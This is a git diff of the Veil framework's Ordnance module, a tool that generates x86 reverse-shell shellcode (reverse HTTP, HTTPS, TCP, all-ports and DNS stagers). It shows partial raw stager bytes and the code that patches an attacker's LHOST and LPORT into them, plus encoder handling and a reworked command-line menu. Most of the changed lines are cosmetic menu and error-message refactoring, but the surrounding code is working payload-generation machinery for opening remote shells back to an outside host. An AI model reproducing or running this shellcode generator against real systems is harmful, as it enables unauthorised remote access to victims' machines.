b"\xFC\xE8\x86\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + @@ -49,7 +49,7 @@ def __init__(self, cli_arguments): "LHOST": ["", "LHOST value"], "LPORT": ["", "LPORT value"], "Encoder": ["None", "Optional: Encoder to use when avoiding bad characters"], - "BadChars": ["X", "Optional: Bad characters to avoid"] + "BadChars": ["\\x00", "Optional: Bad characters to avoid"] } def cli_gen_shellcode(self): @@ -65,7 +65,7 @@ def gen_shellcode(self): def payload_gen(self): # Take the passed in attributes and gen shellcode - ip_shellcode = '' + ip_shellcode = "" n = 2 ip_shellcode_stage = binascii.hexlify(self.required_options["LHOST"][0].encode()) ip_shellcode_stage = [ip_shellcode_stage[i:i + n] for i in range(0, len(ip_shellcode_stage), n)] @@ -103,7 +103,7 @@ def payload_gen(self): incoming_uri = ordnance_helpers.gen_uri() # Convert the URI for use within shellcode - uri_shellcode = '' + uri_shellcode = "" hexed_uri = binascii.hexlify(incoming_uri.encode('UTF-8')) hexed_uri = [hexed_uri[i:i + n] for i in range(0, len(hexed_uri), n)] for two_bites in hexed_uri: @@ -131,9 +131,9 @@ def print_shellcode(self): return def payload_stats(self): - print("Payload Name: " + helpers.color(self.name)) - print("IP Address: " + helpers.color(self.required_options['LHOST'][0])) - print("Port: " + helpers.color(str(self.required_options['LPORT'][0]))) - print("Shellcode Size: " + helpers.color(str(len(self.customized_shellcode) / 4).rstrip('.0') + '\n')) + print(" [*] Payload Name: " + helpers.color(self.name)) + print(" [*] IP Address: " + helpers.color(self.required_options['LHOST'][0])) + print(" [*] Port: " + helpers.color(str(self.required_options['LPORT'][0]))) + print(" [*] Shellcode Size: " + helpers.color(str(len(self.customized_shellcode) / 4).rstrip('.0') + '\n')) print(self.customized_shellcode) return diff --git a/tools/ordnance/payloads/x86/rev_https.py b/tools/ordnance/payloads/x86/rev_https.py index 55e114d..6a2dee4 100644 --- a/tools/ordnance/payloads/x86/rev_https.py +++ b/tools/ordnance/payloads/x86/rev_https.py @@ -22,7 +22,7 @@ def __init__(self, cli_arguments): self.lport_offset = 180 # This is actually going to be little endian self.uri_offset = 272 self.exit_func = '\xf0\xb5\xa2\x56' - self.customized_shellcode = '' + self.customized_shellcode = "" # The \x5c and \x11 are overwritten by the lport value self.stager = ( b"\xFC\xE8\x86\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + @@ -51,7 +51,7 @@ def __init__(self, cli_arguments): "LHOST": ["", "LHOST value"], "LPORT": ["", "LPORT value"], "Encoder": ["None", "Optional: Encoder to use when avoiding bad characters"], - "BadChars": ["X", "Optional: Bad characters to avoid"] + "BadChars": ["\\x00", "Optional: Bad characters to avoid"] } def cli_gen_shellcode(self): @@ -67,7 +67,7 @@ def gen_shellcode(self): def payload_gen(self): # Take the passed in attributes and gen shellcode - ip_shellcode = '' + ip_shellcode = "" n = 2 ip_shellcode_stage = binascii.hexlify(self.required_options["LHOST"][0].encode()) ip_shellcode_stage = [ip_shellcode_stage[i:i + n] for i in range(0, len(ip_shellcode_stage), n)] @@ -105,7 +105,7 @@ def payload_gen(self): incoming_uri = ordnance_helpers.gen_uri() # Convert the URI for use within shellcode - uri_shellcode = '' + uri_shellcode = "" hexed_uri = binascii.hexlify(incoming_uri.encode('UTF-8')) hexed_uri = [hexed_uri[i:i + n] for i in range(0, len(hexed_uri), n)] for two_bites in hexed_uri: @@ -132,9 +132,9 @@ def print_shellcode(self): return def payload_stats(self): - print("Payload Name: " + helpers.color(self.name)) - print("IP Address: " + helpers.color(self.required_options['LHOST'][0])) - print("Port: " + helpers.color(str(self.required_options['LPORT'][0]))) - print("Shellcode Size: " + helpers.color(str(len(self.customized_shellcode) / 4).rstrip('.0') + '\n')) + print(" [*] Payload Name: " + helpers.color(self.name)) + print(" [*] IP Address: " + helpers.color(self.required_options['LHOST'][0])) + print(" [*] Port: " + helpers.color(str(self.required_options['LPORT'][0]))) + print(" [*] Shellcode Size: " + helpers.color(str(len(self.customized_shellcode) / 4).rstrip('.0') + '\n')) print(self.customized_shellcode) return diff --git a/tools/ordnance/payloads/x86/rev_tcp.py b/tools/ordnance/payloads/x86/rev_tcp.py index ea9301f..5223619 100644 --- a/tools/ordnance/payloads/x86/rev_tcp.py +++ b/tools/ordnance/payloads/x86/rev_tcp.py @@ -24,7 +24,7 @@ def __init__(self, cli_arguments): self.lport_offset = 201 self.exitfunc_offset = 226 self.exit_func = '\xf0\xb5\xa2\x56' - self.customized_shellcode = '' + self.customized_shellcode = "" self.stager = ( b"\xFC\xE8\x86\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + b"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + @@ -48,7 +48,7 @@ def __init__(self, cli_arguments): "LHOST": ["", "LHOST value"], "LPORT": ["", "LPORT value"], "Encoder": ["None", "Optional: Encoder to use when avoiding bad characters"], - "BadChars": ["X", "Optional: Bad characters to avoid"] + "BadChars": ["\\x00", "Optional: Bad characters to avoid"] } def cli_gen_shellcode(self): @@ -69,16 +69,16 @@ def print_shellcode(self): def payload_stats(self): '''Prints payload stats''' - print("Payload Name: " + helpers.color(self.name)) - print("IP Address: " + helpers.color(self.required_options['LHOST'][0])) - print("Port: " + helpers.color(str(self.required_options['LPORT'][0]))) - print("Shellcode Size: " + helpers.color(str(len(self.customized_shellcode) / 4).rstrip('.0') + '\n')) + print(" [*] Payload Name: " + helpers.color(self.name)) + print(" [*] IP Address: " + helpers.color(self.required_options['LHOST'][0])) + print(" [*] Port: " + helpers.color(str(self.required_options['LPORT'][0]))) + print(" [*] Shellcode Size: " + helpers.color(str(len(self.customized_shellcode) / 4).rstrip('.0') + '\n')) print(self.customized_shellcode) return def payload_gen(self): # Take the passed in attributes and gen shellcode - ip_shellcode = '' + ip_shellcode = "" n = 2 ip_shellcode_stage = binascii.hexlify(socket.inet_aton(self.required_options["LHOST"][0])) ip_shellcode_stage = [ip_shellcode_stage[i:i + n] for i in range(0, len(ip_shellcode_stage), n)] diff --git a/tools/ordnance/payloads/x86/rev_tcp_all_ports.py b/tools/ordnance/payloads/x86/rev_tcp_all_ports.py index 19ed042..632e253 100644 --- a/tools/ordnance/payloads/x86/rev_tcp_all_ports.py +++ b/tools/ordnance/payloads/x86/rev_tcp_all_ports.py @@ -23,7 +23,7 @@ def __init__(self, cli_arguments): self.lport_offset = 202 self.exitfunc_offset = 226 self.exit_func = '\xf0\xb5\xa2\x56' - self.customized_shellcode = '' + self.customized_shellcode = "" self.stager = ( b"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + b"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + @@ -48,7 +48,7 @@ def __init__(self, cli_arguments): "LHOST": ["", "LHOST value"], "LPORT": ["", "LPORT value"], "Encoder": ["None", "Optional: Encoder to use when avoiding bad characters"], - "BadChars": ["X", "Optional: Bad characters to avoid"] + "BadChars": ["\\x00", "Optional: Bad characters to avoid"] } def cli_gen_shellcode(self): @@ -64,7 +64,7 @@ def gen_shellcode(self): def payload_gen(self): # Take the passed in attributes and gen shellcode - ip_shellcode = '' + ip_shellcode = "" n = 2 ip_shellcode_stage = binascii.hexlify(socket.inet_aton(self.required_options["LHOST"][0])) ip_shellcode_stage = [ip_shellcode_stage[i:i + n] for i in range(0, len(ip_shellcode_stage), n)] @@ -117,9 +117,9 @@ def print_shellcode(self): return def payload_stats(self): - print("Payload Name: " + helpers.color(self.name)) - print("IP Address: " + helpers.color(self.required_options['LHOST'][0])) - print("Port: " + helpers.color(str(self.required_options['LPORT'][0]))) - print("Shellcode Size: " + helpers.color(str(len(self.customized_shellcode) / 4).rstrip('.0') + '\n')) + print(" [*] Payload Name: " + helpers.color(self.name)) + print(" [*] IP Address: " + helpers.color(self.required_options['LHOST'][0])) + print(" [*] Port: " + helpers.color(str(self.required_options['LPORT'][0]))) + print(" [*] Shellcode Size: " + helpers.color(str(len(self.customized_shellcode) / 4).rstrip('.0') + '\n')) print(self.customized_shellcode) return diff --git a/tools/ordnance/payloads/x86/rev_tcp_dns.py b/tools/ordnance/payloads/x86/rev_tcp_dns.py index 2aa5695..3669b0c 100644 --- a/tools/ordnance/payloads/x86/rev_tcp_dns.py +++ b/tools/ordnance/payloads/x86/rev_tcp_dns.py @@ -21,7 +21,7 @@ def __init__(self, cli_arguments): self.retries_offset = 207 self.lport_offset = 212 self.lhost_offset = 248 - self.customized_shellcode = '' + self.customized_shellcode = "" self.stager = ( b"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + b"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + @@ -50,7 +50,7 @@ def __init__(self, cli_arguments): "LHOST": ["", "LHOST domain value"], "LPORT": ["", "LPORT value"], "Encoder": ["None", "Optional: Encoder to use when avoiding bad characters"], - "BadChars": ["X", "Optional: Bad characters to avoid"] + "BadChars": ["\\x00", "Optional: Bad characters to avoid"] } def cli_gen_shellcode(self): @@ -66,7 +66,7 @@ def gen_shellcode(self): def payload_gen(self): # Take the passed in attributes and gen shellcode - ip_shellcode = '' + ip_shellcode = "" n = 2 ip_shellcode_stage = binascii.hexlify(self.required_options["LHOST"][0].encode()) ip_shellcode_stage = [ip_shellcode_stage[i:i+n] for i in range(0, len(ip_shellcode_stage), n)] @@ -126,9 +126,9 @@ def print_shellcode(self): return def payload_stats(self): - print("Payload Name: " + helpers.color(self.name)) - print("IP Address: " + helpers.color(self.required_options['LHOST'][0])) - print("Port: " + helpers.color(str(self.required_options['LPORT'][0]))) - print("Shellcode Size: " + helpers.color(str(len(self.customized_shellcode) / 4).rstrip('.0') + '\n')) + print(" [*] Payload Name: " + helpers.color(self.name)) + print(" [*] IP Address: " + helpers.color(self.required_options['LHOST'][0])) + print(" [*] Port: " + helpers.color(str(self.required_options['LPORT'][0]))) + print(" [*] Shellcode Size: " + helpers.color(str(len(self.customized_shellcode) / 4).rstrip('.0') + '\n')) print(self.customized_shellcode) return diff --git a/tools/ordnance/tool.py b/tools/ordnance/tool.py index 159e7c7..1fca3ef 100644 --- a/tools/ordnance/tool.py +++ b/tools/ordnance/tool.py @@ -29,39 +29,54 @@ def __init__(self, cli_options=None): self.command_options = cli_options self.ordnance_main_menu_commands = { "list": "List available [payloads] or [encoders]", - "payload": "Use a specific payload", - "info": "Information on a specific payload or encoder", - "exit": "Exit Veil", - "back": "Go to main Veil menu"} - self.final_shellcode = '' + "use": "Use a specific payload", + "exit": "Completely exit Veil", + "back": "Go to Veil's main menu"} + self.final_shellcode = "" self.shellcode_option_commands = { - "set": "Set shellcode option", - "generate": "Generate the shellcode", - "back": "Go back", + "set": "Set payload option", + "generate": "Generate the payload", + "back": "Go back to Veil-Ordnance", "exit": "Completely exit Veil", - "options": "Show the shellcode's options" + "options": "Show the payload's options", + "list": "List available encoders", } # Used to track if invoked by another tool self.invoked = False - self.selected_payload = '' + self.selected_payload = "" self.payload_options = {} def cli_menu(self, invoked=False): + ordnance_helpers.title_screen() + # Check to see if we're just listing payloads or encoders # If so, do that and then exit + # --list-payloads if self.command_options.list_payloads: self.print_payloads() sys.exit() + # --list-encoders elif self.command_options.list_encoders: self.print_encoders() sys.exit() + # Now let's check for payloads we're doing - if self.command_options.ordnance_payload: - payload_found = False - for payload in self.active_shellcode.values(): - if self.command_options.ordnance_payload.lower() == payload.cli_name: - payload_found = True - if "LHOST" in payload.required_options: + # Missing --ordnance-payload ? + if not self.command_options.ordnance_payload: + print(helpers.color(" [!] ERROR: Missing ordnance-payload selection (--ordnance-payload ). Try: -t Ordnance --list-payloads", warning=True)) + else: + payload_selected = self.command_options.ordnance_payload.lower() + payload = self.return_payload_object(payload_selected) + if not payload: + print(helpers.color(" [!] ERROR: You specified a non-existent Ordnance payload!", warning=True)) + sys.exit() + else: + if "LHOST" in payload.required_options: + # Is --ip missing? + if self.command_options.ip is None: + print(helpers.color(" [!] ERROR: Missing --ip ", warning=True)) + sys.exit() + else: valid_ip = helpers.validate_ip(self.command_options.ip) valid_hostname = helpers.validate_hostname(self.command_options.ip) if valid_ip: @@ -70,50 +85,43 @@ def cli_menu(self, invoked=False): if payload.cli_name == 'rev_tcp_dns': payload.required_options["LHOST"][0] = self.command_options.ip else: - print(helpers.color("[*] Error: Invalid IP/Hostname specified!", warning=True)) - print(helpers.color("[*] Try again?", warning=True)) + print(helpers.color(" [!] ERROR: Invalid IP/Hostname specified!", warning=True)) sys.exit() else: - print(helpers.color("[*] Error: Invalid IP/Hostname specified!", warning=True)) - print(helpers.color("[*] Try again?", warning=True)) - sys.exit() - if "LPORT" in payload.required_options: - if 0 < self.command_options.port < 65535: - payload.required_options["LPORT"][0] = self.command_options.port - else: - print(helpers.color("[*] Error: Invalid port number provided!", warning=True)) - print(helpers.color("[*] Try again?", warning=True)) - sys.exit() - # Generate the original shellcode - payload.cli_gen_shellcode() - self.final_shellcode = payload.customized_shellcode - # Check if an encoder is being called by the user - if self.command_options.encoder is not None: - encoder_found_here = False - if "BadChars" in payload.required_options: - payload.required_options["BadChars"][0] = self.command_options.bad_chars - for loaded_encoder in self.active_encoders.values(): - if self.command_options.encoder.lower() == loaded_encoder.cli_name: - encoder_found_here = True - loaded_encoder.cli_encode(payload) - if not encoder_found_here: - print(helpers.color("[*] Error: Encoder you specified was not found!", warning=True)) - print(helpers.color("[*] Try again?", warning=True)) + print(helpers.color(" [!] ERROR: Invalid IP/Hostname specified!", warning=True)) sys.exit() - self.final_shellcode = payload.customized_shellcode - if invoked: - pass + if "LPORT" in payload.required_options: + if 0 < self.command_options.port < 65535: + payload.required_options["LPORT"][0] = self.command_options.port else: - payload.payload_stats() - - # If the payload supplied isn't found - if not payload_found: - print(helpers.color("[*] Error: You specified a non-existent Ordnance payload!", warning=True)) - print(helpers.color("[*] Go to start... do not collect $200!", warning=True)) - sys.exit() + print(helpers.color(" [!] ERROR: Invalid port number provided!", warning=True)) + print(helpers.color("[*] Try again?", warning=True)) + sys.exit() + # Generate the original shellcode + payload.cli_gen_shellcode() + self.final_shellcode = payload.customized_shellcode + # Check if an encoder is being called by the user + if self.command_options.encoder is not None: + encoder_found_here = False + if "BadChars" in payload.required_options: + payload.required_options["BadChars"][0] = self.command_options.bad_chars + for loaded_encoder in self.active_encoders.values(): + if self.command_options.encoder.lower() == loaded_encoder.cli_name: + encoder_found_here = True + loaded_encoder.cli_encode(payload) + if not encoder_found_here: + print(helpers.color(" [!] ERROR: Encoder you specified was not found!", warning=True)) + print(helpers.color("[*] Try again?", warning=True)) + sys.exit() + self.final_shellcode = payload.customized_shellcode + if invoked: + pass + else: + payload.payload_stats() + return def load_encoders(self, cli_args): - for name in glob.glob('tools/ordnance/encoders/*.py'): + for name in sorted( glob.glob('tools/ordnance/encoders/*.py') ): if name.endswith(".py") and ("__init__" not in name): loaded_encoder = imp.load_source( name.replace("/", ".").rstrip('.py'), name) @@ -121,7 +129,7 @@ def load_encoders(self, cli_args): return def load_payloads(self, cli_args): - for name in glob.glob('tools/ordnance/payloads/x86/*.py'): + for name in sorted( glob.glob('tools/ordnance/payloads/x86/*.py') ): if name.endswith(".py") and ("__init__" not in name): loaded_payloads = imp.load_source( name.replace("/", ".").rstrip('.py'), name) @@ -130,22 +138,24 @@ def load_payloads(self, cli_args): def print_encoders(self): print("Available Encoder Modules") - print("Command Line Name => Description") + print("\tCommand Line Name => Description") print("-" * 79) print() for encoder_module in self.active_encoders.values(): - print(helpers.color(encoder_module.cli_name) + " => " + encoder_module.name) + print( "\t%s => %s" % ( '{0: <24}'.format( helpers.color( encoder_module.cli_name ) ), encoder_module.name ) ) return def print_shellcode_option_commands(self): - print("Available Commands: \n") + print(helpers.color(" Available Commands:\n")) for name in sorted(self.shellcode_option_commands.keys()): print('\t' + '{0: <8}'.format(name) + "\t\t" + '{0: <8}'.format(self.shellcode_option_commands[name])) + print() def print_options_screen(self, pload_object): + print() ordnance_helpers.title_screen() print("Payload: " + helpers.color(pload_object.cli_name) + " selected\n") - print(helpers.color("Required Options:\n")) + print(helpers.color(" Required Options:\n")) print('{0: <16}'.format('Name') + '\t' + '{0: <8}'.format('Value') + '\t' + '{0: <8}'.format('Description')) print('{0: <16}'.format('----') + '\t' + '{0: <8}'.format('-----') + '\t' + '{0: <8}'.format('-----------')) for opt_name in sorted(pload_object.required_options.keys()): @@ -155,117 +165,134 @@ def print_options_screen(self, pload_object): print() return + def print_menu(self): + print() + ordnance_helpers.title_screen() + print("Veil-Ordnance Menu") + print("\n\t" + helpers.color(len(self.active_shellcode)) + " payloads loaded") + print("\t" + helpers.color(len(self.active_encoders)) + " encoders loaded\n") + print("Available Commands:\n") + for command in sorted(self.ordnance_main_menu_commands.keys()): + print("\t" + helpers.color(command) + '\t\t\t' + self.ordnance_main_menu_commands[command]) + print() + return + def print_payloads(self): print("Available Payload Modules") - print("Command Line Name => Description") + print("\tCommand Line Name => Description") print("-" * 79) print() + + lastBase = None + x = 1 for payload in self.active_shellcode.values(): - print(helpers.color(payload.cli_name) + " => " + payload.name) + parts = payload.cli_name.split("_") + if lastBase and parts[0] != lastBase: + print() + lastBase = parts[0] + + print( "\t%s)\t%s => %s" % ( x, '{0: <28}'.format( helpers.color( payload.cli_name ) ), payload.name ) ) + + x += 1 return def tool_main_menu(self, invoked=False): # This is the main function where everything is called from # Iterate over payloads and find the user selected payload module # invoked is used when another tool is calling this function - ordnance_main_command = '' + ordnance_main_command = "" show_ordnance_menu = True + + # Called from another tool? if invoked: self.invoked = True - while ordnance_main_command == '': - + while True: if show_ordnance_menu: - ordnance_helpers.title_screen() - print("Veil-Ordnance Menu") - print("\n\t" + helpers.color(len(self.active_shellcode)) + " payloads loaded") - print("\t" + helpers.color(len(self.active_encoders)) + " encoders loaded\n") - print("Available Commands:\n") - for command in sorted(self.ordnance_main_menu_commands.keys()): - print("\t" + helpers.color(command) + '\t\t\t' + self.ordnance_main_menu_commands[command]) - print() - show_ordnance_menu = True + self.print_menu() + show_ordnance_menu = False - ordnance_main_command = input('Veil-Ordnance command: ').strip() + ordnance_main_command = input('Veil/Ordnance>: ').strip().lower() # See if we're listing payloads or encoders - if ordnance_main_command.lower().startswith('list'): + if ordnance_main_command.startswith('list'): if len(ordnance_main_command.split()) == 1: print() - print(helpers.color("[*] Error: You did not provide what you want to list!", warning=True)) - print(helpers.color("[*] Ex: list payloads or list encoders", warning=True)) + print(helpers.color(" [!] ERROR: You did not provide what you want to list!", warning=True)) + print(helpers.color(" [*] Ex: list payloads OR list encoders", warning=True)) print() - ordnance_main_command = '' - show_ordnance_menu = False elif len(ordnance_main_command.split()) == 2: - - list_selection = ordnance_main_command.split()[1] + list_selection = ordnance_main_command.split()[1].lower() # Check and see what we are listing - if list_selection.lower() == 'payloads': + # Payloads + if list_selection.startswith('p'): + print() ordnance_helpers.title_screen() - self.print_payloads() - show_ordnance_menu = False print() - ordnance_main_command = '' + self.print_payloads() - elif list_selection.lower() == 'encoders': + # Encoders + elif list_selection.startswith('e'): + print() ordnance_helpers.title_screen() - self.print_encoders() - show_ordnance_menu = False print() - ordnance_main_command = '' + self.print_encoders() else: - show_ordnance_menu = False print() - print(helpers.color("[*] Error: You did not provide a valid item to list!", warning=True)) - print(helpers.color("[*] Ex: list payloads or list encoders", warning=True)) + print(helpers.color(" [!] ERROR: You did not provide a valid item to list!", warning=True)) + print(helpers.color(" [*] Ex: list payloads OR list encoders", warning=True)) print() - ordnance_main_command = '' - - else: - ordnance_main_command = '' - - elif ordnance_main_command.lower() == "help": - ordnance_main_command = '' - elif ordnance_main_command.lower() == "back": - ordnance_main_command = '' + elif ordnance_main_command.startswith("back") or ordnance_main_command.startswith("main") or ordnance_main_command.startswith("menu"): break - elif ordnance_main_command.lower() == "exit": - if invoked: - break - else: - sys.exit(0) - - elif ordnance_main_command.lower().startswith('payload'): - if len(ordnance_main_command.split()) < 2: - print(helpers.color("[*] Error: You did not provide the payload to use!", warning=True)) - print(helpers.color("[*] Ex: use rev_http", warning=True)) - ordnance_main_command = '' - elif len(ordnance_main_command.split()) > 2: - print(helpers.color("[*] Error: You provided too many options!", warning=True)) - print(helpers.color("[*] Ex: use rev_http", warning=True)) - else: - self.selected_payload = ordnance_main_command.split()[1].lower() - self.use_payload(self.selected_payload) + elif ordnance_main_command.startswith("exit") or ordnance_main_command.startswith("quit"): + sys.exit(0) - # If invoked, return the shellcode - if self.invoked: - return + elif ordnance_main_command.startswith('use'): + if len(ordnance_main_command.split()) == 2: + payload_selected = ordnance_main_command.split()[1].lower() + selected_payload_module = self.return_payload_object(payload_selected) + if not selected_payload_module: + print() + print(helpers.color(" [!] ERROR: You did not provide a valid payload selection!", warning=True)) + print(helpers.color(" [*] Ex: use 2 OR use rev_http", warning=True)) + print() + else: + self.use_payload(selected_payload_module) - if self.final_shellcode == '': - show_ordnance_menu = False - self.selected_payload = '' - ordnance_main_command = '' + # If invoked, return the shellcode + if self.invoked: + return + ## If not, show the menu + else: + show_evasion_menu = True + else: + print() + print(helpers.color(" [!] ERROR: You did not provide a valid payload selection!", warning=True)) + print(helpers.color(" [*] Ex: use 2 OR use rev_http", warning=True)) + print() + return + def return_payload_object(self, user_selection): + # This function handles returning the selected payload module object + # to the calling function + counter_value = 1 + for payload in self.active_shellcode.values(): + if user_selection.isdigit() and (0 < int(user_selection) <= len(self.active_shellcode)): + if int(user_selection) == counter_value: + return payload else: - ordnance_main_command = '' - return + if user_selection.lower() == payload.cli_name: + return payload + + # Iterate counter for number based selection + counter_value += 1 + return False def use_encoder(self, incoming_pload): encoder_found = False @@ -275,119 +302,125 @@ def use_encoder(self, incoming_pload): loaded_encoder.encode(incoming_pload) if not encoder_found: - print(helpers.color("[*] Error: Encoder not found! Printing non-encoded shellcode!", warning=True)) + print() + print(helpers.color(" [!] ERROR: Encoder not found! Printing non-encoded shellcode!", warning=True)) + print() return - def use_payload(self, incoming_payload): - shellcode_found = False - for payload in self.active_shellcode.values(): - if incoming_payload.lower() == payload.cli_name: - shellcode_found = True - while ordnance_helpers.loop_req_options(payload): - self.print_options_screen(payload) - - while True: - comp = completer.OrdnanceCompleter(self.shellcode_option_commands, payload) - readline.set_completer_delims(' \t\n;') - readline.parse_and_bind("tab: complete") - readline.set_completer(comp.complete) - breakout = False - shellcode_command = input( - "[" + payload.cli_name + ">>]: ").lower().strip() - - # Start logic for required option commands - if shellcode_command.startswith("set"): - if len(shellcode_command.split()) < 3 or len(shellcode_command.split()) > 3: - print(helpers.color("[*] Error: You did not provide the correct input for setting an option!", warning=True)) - print(helpers.color("[*] Error: Ex: set LHOST 192.168.18.14")) - else: - found_req_option = False - for key, value in payload.required_options.items(): - if shellcode_command.split()[1] == key.lower(): - found_req_option = True - value[0] = shellcode_command.split()[2] - if not found_req_option: - print(helpers.color("[*] Error: You didn't provide a correct option to set, please retry!", warning=True)) - elif shellcode_command == "exit": - # Completely exit out of Veil - print(helpers.color("[*] You're rage quitting all of Veil!", warning=True)) - sys.exit(0) - elif shellcode_command == "back": - # Go back to shellcode selection - shellcode_command = '' - breakout = True - break - elif shellcode_command == "generate": - lport_out = '' - lhost_out = '' - rhost_out = '' - if ordnance_helpers.loop_req_options(payload): - print(helpers.color("[*] Error: You didn't provide all the required options!", warning=True)) - else: - safe_to_generate = True + def use_payload(self, payload): + while ordnance_helpers.loop_req_options(payload): + # Soon as we load the payload, show options + self.print_options_screen(payload) + + while True: + comp = completer.OrdnanceCompleter(self.shellcode_option_commands, payload) + readline.set_completer_delims(' \t\n;') + readline.parse_and_bind("tab: complete") + readline.set_completer(comp.complete) + show_payload_menu = False + shellcode_command = input("[" + payload.cli_name + ">>]: ").strip().lower() + + # Start logic for required option commands + if shellcode_command.startswith("set"): + if len(shellcode_command.split()) < 3 or len(shellcode_command.split()) > 3: + print() + print(helpers.color(" [!] ERROR: You did not provide the correct input for setting an option!", warning=True)) + print(helpers.color(" [*] Ex: set LHOST 192.168.18.14", warning=True)) + print() + else: + found_req_option = False + for key, value in payload.required_options.items(): + if shellcode_command.split()[1] == key.lower(): + found_req_option = True + value[0] = shellcode_command.split()[2] + if not found_req_option: + print() + print(helpers.color(" [!] ERROR: You didn't provide a correct option to set, please retry!", warning=True)) + print() + elif shellcode_command.startswith("exit") or shellcode_command.startswith("quit"): + sys.exit(0) + elif shellcode_command.startswith("back") or shellcode_command.startswith("main") or shellcode_command.startswith("menu"): + show_payload_menu = True + break + elif shellcode_command.startswith("list"): + print() + ordnance_helpers.title_screen() + print() + self.print_encoders() + elif shellcode_command.startswith("gen") or shellcode_command.startswith("run"): + lport_out = "" + lhost_out = "" + rhost_out = "" + if ordnance_helpers.loop_req_options(payload): + print() + print(helpers.color(" [!] ERROR: You didn't provide all the required options!", warning=True)) + print() + else: + safe_to_generate = True + if "LHOST" in payload.required_options: + if not ordnance_helpers.check_lhost(payload.required_options["LHOST"][0]): + print() + print(helpers.color(" [!] ERROR: You didn't provide a valid IP address!", warning=True)) + print(helpers.color(" [!] ERROR: Try again :)", warning=True)) + print() + safe_to_generate = False + if "LPORT" in payload.required_options: + if not ordnance_helpers.check_lport(payload.required_options["LPORT"][0]): + print() + print(helpers.color(" [!] ERROR: You didn't provide a valid LPORT value!", warning=True)) + print(helpers.color(" [!] ERROR: Try again :)", warning=True)) + print() + safe_to_generate = False + if safe_to_generate: + # Generate the shellcode + payload.gen_shellcode() + + # Gather information to generate handler if requested + self.final_shellcode = payload.customized_shellcode + if "LHOST" in payload.required_options: + lhost_out = payload.required_options["LHOST"][0] + if "LPORT" in payload.required_options: + lport_out = payload.required_options["LPORT"][0] + if "RHOST" in payload.required_options: + rhost_out = payload.required_options["RHOST"][0] + + if lhost_out: + self.payload_options['LHOST'] = lhost_out + if lport_out: + self.payload_options['LPORT'] = lport_out + if rhost_out: + self.payload_options['RHOST'] = rhost_out + + # Check if encoder is needed + if payload.required_options["Encoder"][0] is not "None": + self.use_encoder(payload) + self.final_shellcode = payload.customized_shellcode + + # Print banner & payload stats + print() + ordnance_helpers.title_screen() + payload.payload_stats() + + # Did we come from Evasion? Or direct from Ordnance... + if self.invoked: + print('\nHalf way... ' + helpers.color('Shellcode generated with Veil-Ordnance!') + ' Returning to Veil-Evasion.\n') + + # Re-set settings if "LHOST" in payload.required_options: - if not ordnance_helpers.check_lhost(payload.required_options["LHOST"][0]): - print(helpers.color("[*] Error: You didn't provide a valid IP address!", warning=True)) - print(helpers.color("[*] Error: Try again :)", warning=True)) - safe_to_generate = False + payload.required_options["LHOST"][0] = "" if "LPORT" in payload.required_options: - if not ordnance_helpers.check_lport(payload.required_options["LPORT"][0]): - print(helpers.color("[*] Error: You didn't provide a valid LPORT value!", warning=True)) - print(helpers.color("[*] Error: Try again :)", warning=True)) - safe_to_generate = False - if safe_to_generate: - # Generate the shellcode - payload.gen_shellcode() - # Gather information to generate handler if requested - self.final_shellcode = payload.customized_shellcode - if "LHOST" in payload.required_options: - lhost_out = payload.required_options["LHOST"][0] - if "LPORT" in payload.required_options: - lport_out = payload.required_options["LPORT"][0] - if "RHOST" in payload.required_options: - rhost_out = payload.required_options["RHOST"][0] - - if lhost_out: - self.payload_options['LHOST'] = lhost_out - if lport_out: - self.payload_options['LPORT'] = lport_out - if rhost_out: - self.payload_options['RHOST'] = rhost_out - - # Check if encoder is needed - if payload.required_options["Encoder"][0] is not "None": - self.use_encoder(payload) - self.final_shellcode = payload.customized_shellcode - - # Print payload stats - payload.payload_stats() - if self.invoked: - dummy = input('\nHit enter to return to Veil-Evasion... ') - else: - dummy2 = input('\nHit enter to continue... ') - shellcode_command = '' - - if "LHOST" in payload.required_options: - payload.required_options["LHOST"][0] = '' - if "LPORT" in payload.required_options: - payload.required_options["LPORT"][0] = '' - breakout = True - break - elif shellcode_command == "options": - # Reprint the shellcode options to console - self.print_options_screen(payload) - - if breakout: - ordnance_helpers.title_screen() - print("Veil-Ordnance Menu") - print("\n\t" + helpers.color(len(self.active_shellcode)) + " payloads loaded") - print("\t" + helpers.color(len(self.active_encoders)) + " encoders loaded\n") - print("Available Commands:\n") - for command in sorted(self.ordnance_main_menu_commands.keys()): - print("\t" + helpers.color(command) + '\t\t\t' + self.ordnance_main_menu_commands[command]) - print() - break + payload.required_options["LPORT"][0] = "" + else: + dummy = input("\n" + helpers.color('Done!') + "Hit enter to continue...") - if not shellcode_found: - print(helpers.color("[*] Error: You did not provide a valid payload name, please try again!", warning=True)) + show_payload_menu = True + break + elif shellcode_command.startswith("option"): + # Reprint the shellcode options to console + self.print_options_screen(payload) + + if show_payload_menu: + if not self.invoked: + self.print_menu() + break return